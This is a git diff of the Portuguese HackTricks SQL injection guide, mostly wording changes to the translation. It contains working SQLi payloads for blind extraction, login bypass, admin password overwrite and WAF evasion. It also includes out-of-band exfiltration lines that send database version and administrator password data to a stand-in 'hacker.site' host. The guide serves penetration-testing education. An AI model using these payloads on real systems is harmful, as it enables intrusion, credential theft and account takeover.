Este é o **mesmo caso que antes**, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir entre** um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
|
Este é o **mesmo caso que antes** mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode **distinguir se** há um **erro** na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que acertar o caractere:
|
||||||
```sql
|
```sql
|
||||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||||
```
|
```
|
||||||
|
@ -240,11 +240,11 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
|
||||||
```sql
|
```sql
|
||||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||||
```
|
```
|
||||||
## Consultas Empilhadas
|
## Consultas em Pilha
|
||||||
|
|
||||||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Observe que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
Você pode usar consultas em pilha para **executar várias consultas em sucessão**. Observe que, embora as consultas subsequentes sejam executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades cegas** onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.
|
||||||
|
|
||||||
**Oracle** não suporta **consultas empilhadas**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
**Oracle** não suporta **consultas em pilha**. **MySQL, Microsoft** e **PostgreSQL** as suportam: `CONSULTA-1-AQUI; CONSULTA-2-AQUI`
|
||||||
|
|
||||||
## Exploração Fora de Banda
|
## Exploração Fora de Banda
|
||||||
|
|
||||||
|
@ -252,7 +252,7 @@ Se **nenhum outro** método de exploração **funcionar**, você pode tentar faz
|
||||||
```sql
|
```sql
|
||||||
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
|
||||||
```
|
```
|
||||||
### Exfiltração de dados fora da banda via XXE
|
### Exfiltração de dados fora de banda via XXE
|
||||||
```sql
|
```sql
|
||||||
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
|
||||||
```
|
```
|
||||||
|
@ -292,12 +292,12 @@ Lista para tentar burlar a funcionalidade de login:
|
||||||
```sql
|
```sql
|
||||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||||
```
|
```
|
||||||
Este query demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando inputs que, quando hashados, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
|
Esta consulta demonstra uma vulnerabilidade quando o MD5 é usado com true para saída bruta em verificações de autenticação, tornando o sistema suscetível a injeção de SQL. Os atacantes podem explorar isso criando entradas que, ao serem hashadas, produzem partes inesperadas de comandos SQL, resultando em acesso não autorizado.
|
||||||
```sql
|
```sql
|
||||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||||
```
|
```
|
||||||
### Bypass de Autenticação de Hash Injetado
|
### Bypass de Autenticação por Injeção de Hash
|
||||||
```sql
|
```sql
|
||||||
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||||
```
|
```
|
||||||
|
@ -343,11 +343,11 @@ Para fazer isso, você deve tentar **criar um novo objeto com o nome do "objeto
|
||||||
|
|
||||||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você deseja se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||||||
|
|
||||||
O banco de dados irá **verificar** se o **nome de usuário** **introduzido** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
O banco de dados irá **verificar** se o **nome de usuário** **existe** no banco de dados. Se **não existir**, ele irá **cortar** o **nome de usuário** para o **número máximo de caracteres permitidos** (neste caso para: "_admin \[25 espaços]_") e então **removerá automaticamente todos os espaços no final atualizando** no banco de dados o usuário "**admin**" com a **nova senha** (algum erro pode aparecer, mas isso não significa que não funcionou).
|
||||||
|
|
||||||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||||
|
|
||||||
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
_Nota: Este ataque não funcionará mais conforme descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco no final por padrão, tentar inserir uma string que seja mais longa que o comprimento de um campo resultará em um erro e a inserção falhará. Para mais informações sobre isso, verifique: [https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)_
|
||||||
|
|
||||||
### Verificação baseada em tempo de inserção MySQL
|
### Verificação baseada em tempo de inserção MySQL
|
||||||
|
|
||||||
|
@ -357,7 +357,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||||
```
|
```
|
||||||
### ON DUPLICATE KEY UPDATE
|
### ON DUPLICATE KEY UPDATE
|
||||||
|
|
||||||
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita para inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar ações para o banco de dados tomar quando uma tentativa é feita de inserir uma linha que resultaria em um valor duplicado em um índice ÚNICO ou CHAVE PRIMÁRIA. O exemplo a seguir demonstra como esse recurso pode ser explorado para modificar a senha de uma conta de administrador:
|
||||||
|
|
||||||
Exemplo de Injeção de Payload:
|
Exemplo de Injeção de Payload:
|
||||||
|
|
||||||
|
@ -365,17 +365,11 @@ Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas s
|
||||||
```sql
|
```sql
|
||||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||||
```
|
```
|
||||||
### Como funciona:
|
|
||||||
|
|
||||||
- A consulta tenta inserir duas linhas: uma para `generic_user@example.com` e outra para `admin_generic@example.com`.
|
|
||||||
- Se a linha para `admin_generic@example.com` já existir, a cláusula `ON DUPLICATE KEY UPDATE` é acionada, instruindo o MySQL a atualizar o campo `password` da linha existente para "bcrypt_hash_of_newpassword".
|
|
||||||
- Consequentemente, a autenticação pode ser tentada usando `admin_generic@example.com` com a senha correspondente ao hash bcrypt ("bcrypt_hash_of_newpassword" representa o hash bcrypt da nova senha, que deve ser substituído pelo hash real da senha desejada).
|
|
||||||
|
|
||||||
### Extrair informações
|
### Extrair informações
|
||||||
|
|
||||||
#### Criando 2 contas ao mesmo tempo
|
#### Criando 2 contas ao mesmo tempo
|
||||||
|
|
||||||
Ao tentar criar um novo usuário, são necessários nome de usuário, senha e e-mail:
|
Ao tentar criar um novo usuário e nome de usuário, senha e e-mail são necessários:
|
||||||
```
|
```
|
||||||
SQLi payload:
|
SQLi payload:
|
||||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||||
|
@ -411,9 +405,9 @@ Usando **hex** e **replace** (e **substr**):
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
## Injeção SQL roteada
|
## Injeção de SQL Roteada
|
||||||
|
|
||||||
A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
A injeção de SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. ([Do Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||||
|
|
||||||
Exemplo:
|
Exemplo:
|
||||||
```
|
```
|
||||||
|
@ -443,13 +437,13 @@ Em alguns casos, os filtros de entrada podem bloquear palavras-chave específica
|
||||||
```
|
```
|
||||||
### Sem Espaços - contornando usando parênteses
|
### Sem Espaços - contornando usando parênteses
|
||||||
|
|
||||||
Neste desafio, o objetivo é contornar a restrição de espaços em uma injeção SQL usando parênteses para separar as palavras-chave e os operadores. Isso pode ser útil em situações em que os espaços são filtrados, mas os parênteses não são.
|
Neste desafio, o objetivo é contornar a restrição de não poder usar espaços em uma injeção SQL, utilizando parênteses para separar os comandos. Isso pode ser útil em situações em que os espaços são filtrados, mas outros caracteres especiais são permitidos.
|
||||||
```sql
|
```sql
|
||||||
?id=(1)and(1)=(1)--
|
?id=(1)and(1)=(1)--
|
||||||
```
|
```
|
||||||
### Bypass sem vírgulas
|
### Sem vírgulas de bypass
|
||||||
|
|
||||||
Bypass sem vírgulas - usando OFFSET, FROM e JOIN
|
Sem vírgulas - bypass usando OFFSET, FROM e JOIN
|
||||||
```
|
```
|
||||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||||
|
@ -463,7 +457,7 @@ Lista negra usando palavras-chave - desviar usando maiúsculas/minúsculas
|
||||||
?id=1 AnD 1=1#
|
?id=1 AnD 1=1#
|
||||||
?id=1 aNd 1=1#
|
?id=1 aNd 1=1#
|
||||||
```
|
```
|
||||||
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornar usando um operador equivalente
|
Lista negra usando palavras-chave sem diferenciação de maiúsculas e minúsculas - contornando usando um operador equivalente
|
||||||
```
|
```
|
||||||
AND -> && -> %26%26
|
AND -> && -> %26%26
|
||||||
OR -> || -> %7C%7C
|
OR -> || -> %7C%7C
|
||||||
|
@ -484,7 +478,7 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
|
||||||
|
|
||||||
Primeiramente, observe que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
Primeiramente, observe que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||||||
|
|
||||||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso se pareceria com:
|
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma injeção de SQL isso ficaria assim:
|
||||||
```bash
|
```bash
|
||||||
# This is an example with 3 columns that will extract the column number 3
|
# This is an example with 3 columns that will extract the column number 3
|
||||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||||
|
@ -496,7 +490,7 @@ Ou usando um **bypass de vírgula**:
|
||||||
```
|
```
|
||||||
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
|
||||||
|
|
||||||
### Ferramentas sugeridas de bypass de WAF
|
### Ferramentas sugeridas para bypass de WAF
|
||||||
|
|
||||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||||
|
|
||||||
|
@ -505,7 +499,7 @@ Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||||
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||||
|
|
||||||
## Lista de Detecção de Força Bruta
|
## Lista de Detecção de Brute-Force
|
||||||
|
|
||||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||||
|
|
||||||
|
@ -515,17 +509,17 @@ Este truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||||
|
|
||||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -19,12 +19,12 @@ Confira os seguintes blogs:
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -22,14 +22,14 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
### Concatenação de Strings
|
### Concatenação de Strings
|
||||||
|
|
||||||
É possível fazer concatenação de strings com os caracteres `& (%26)` e `+ (%2b)`.
|
A concatenação de strings é possível com os caracteres `& (%26)` e `+ (%2b)`.
|
||||||
```sql
|
```sql
|
||||||
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
||||||
1' UNION SELECT 'web' %26 'app' FROM table%00
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
||||||
```
|
```
|
||||||
### Comentários
|
### Comentários
|
||||||
|
|
||||||
Não existem comentários no MS Access, mas aparentemente é possível remover o final de uma consulta com um caractere NULL:
|
Não existem comentários no MS Access, mas aparentemente é possível remover o último de uma consulta com um caractere NULL:
|
||||||
```sql
|
```sql
|
||||||
1' union select 1,2 from table%00
|
1' union select 1,2 from table%00
|
||||||
```
|
```
|
||||||
|
@ -43,56 +43,56 @@ Elas não são suportadas.
|
||||||
|
|
||||||
### LIMIT
|
### LIMIT
|
||||||
|
|
||||||
